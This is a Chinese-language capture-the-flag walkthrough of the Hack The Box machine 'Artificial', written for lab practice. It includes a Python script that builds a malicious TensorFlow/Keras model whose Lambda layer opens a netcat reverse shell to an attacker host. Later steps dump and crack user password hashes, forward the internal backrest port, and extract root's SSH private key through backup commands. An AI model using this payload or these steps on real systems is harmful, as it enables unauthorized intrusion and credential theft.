靶场介绍

HTB-Artificia 是 Hack The Box 平台上一个中等难度的机器学习主题靶机,旨在挑战用户在人工智能系统中识别和利用安全缺陷的能力。该靶场模拟了一个部署了自定义AI模型的Web应用环境,通过暴露配置不当的API、不安全的模型推理接口以及提权漏洞,引导攻击者从信息泄露入手,逐步实现远程代码执行与权限提升。Artificia 不仅考验传统的渗透测试技能,还引入了对抗机器学习(Adversarial ML)等前沿概念,是结合AI安全与实战攻防的优秀练习环境。



一、信息收集

攻击机地址
10.10.16.22
靶机地址
10.10.11.74

扫描端口

❯ sudo nmap -sV -A 10.10.11.74

扫描结果

Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.62s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7ce48d84c5de913a5a2b9d34edd69917 (RSA)
|   256 83462dcf736d286f11d51db48820d67c (ECDSA)
|_  256 e3182e3b4061b45987e84a29240f6afc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/24%OT=22%CT=1%CU=41303%PV=Y%DS=2%DC=T%G=Y%TM=6881FE1
OS:C%P=x86_64-apple-darwin17.7.0)SEQ(SP=101%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M
OS:542ST11NW7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   405.14 ms loaclhost (10.10.16.1)
2   795.79 ms artificial.htb (10.10.11.74)

Nmap扫描发现开放22,80端口。


二、TensorFlow RCE

访问网页随意注册进去发现提示我们确认是否安装依赖,或者以docker启动。

requirements.txt中的tensorflow-cpu==2.13.1暴露了一个非常可能存在的 远程命令执行入口(通过不安全模型加载)

踩过的坑:Mac arm的直接conda虚拟环境中安装tensorflow依赖包

配置环境,通过anaconda创建虚拟环境安装依赖

conda install -c apple tensorflow-deps
pip install tensorflow-macos
pip install tensorflow-metal

验证环境

❯ conda activate env_tensorflow
❯ python
Python 3.8.20 (default, Oct  3 2024, 10:22:23)
[Clang 14.0.6 ] :: Anaconda, Inc. on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow as tf
>>> tf.__version__
'2.13.0'
>>>
#参考文章
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce
#工具
https://github.com/Splinter0/tensorflow-rce

漏洞利用:python3 exploit.py

#exploit.py

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc VPSip 端口 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

回到网页,将生成的h5上传后开启监听,成功getshell。


三、UserFlage

我们查看当前用户为app

获取可以交互式登录用户gael

通过翻找其他目录发现users.db,进入数据库查看内容,获取hash保存下来

$ sqlite3 users.db
select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|raven|raven@gmail.com|01e2aec5149167fb8acec24e5889ff89
7|subhan|emailtest@gmail.com|202cb962ac59075b964b07152d234b70
8|test|test@test|098f6bcd4621d373cade4e832627b4f6
9|admin|admin@123.com|e10adc3949ba59abbe56e057f20f883e
10|z3d|z3d@email.htb|098f6bcd4621d373cade4e832627b4f6

爆破gael用户的hash,成功获取到c99175974b6e192936d97224638a34f8:mattp005numbertwo

登录验证密码正确并成功获取UserFlag


四、RootFlag

在根目录下找到一些奇怪的东西,打开时发现没有访问权限,尝试sudo提权也失败。

在/var 目录下找到了一个备份文件

下载到本地解压出来查看目录内容,发现config.json

获取到一个加密的密码hash

解密结果:$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

继续hashcat碰撞

backrest通过查询资料发现这个是个服务器备份的东西。既然是备份自己的,那么肯定在自身能发现到。查看自身正在监听的端口。

gael@artificial:/var$ ss -tuln
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process   
udp     UNCONN   0        0          127.0.0.53%lo:53            0.0.0.0:*               
tcp     LISTEN   0        511              0.0.0.0:80            0.0.0.0:*               
tcp     LISTEN   0        4096       127.0.0.53%lo:53            0.0.0.0:*               
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*               
tcp     LISTEN   0        2048           127.0.0.1:5000          0.0.0.0:*               
tcp     LISTEN   0        4096           127.0.0.1:9898          0.0.0.0:*               
tcp     LISTEN   0        511                 [::]:80               [::]:*               
tcp     LISTEN   0        128                 [::]:22               [::]:*               

看到一个陌生的9898端口开放,将它转发出来。

ssh gael@10.10.11.74 -L 9898:localhost:9898

用刚才解密到的密码成功登陆。

创建个仓库

测试是否可以执行命令

help

backup root 备份root目录

ls e83e547b 查看备份日志,在日志中找到了/root/root.txt

ls e83e547b /root/root.txt 成功得到RootFlag

但是作者的意图并不在此。往下发现ssh密钥 

通过dump e83e547b /root/.ssh/id_rsa 保存密钥

成功通过私钥登录ssh获取RootFlag


至此结束

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐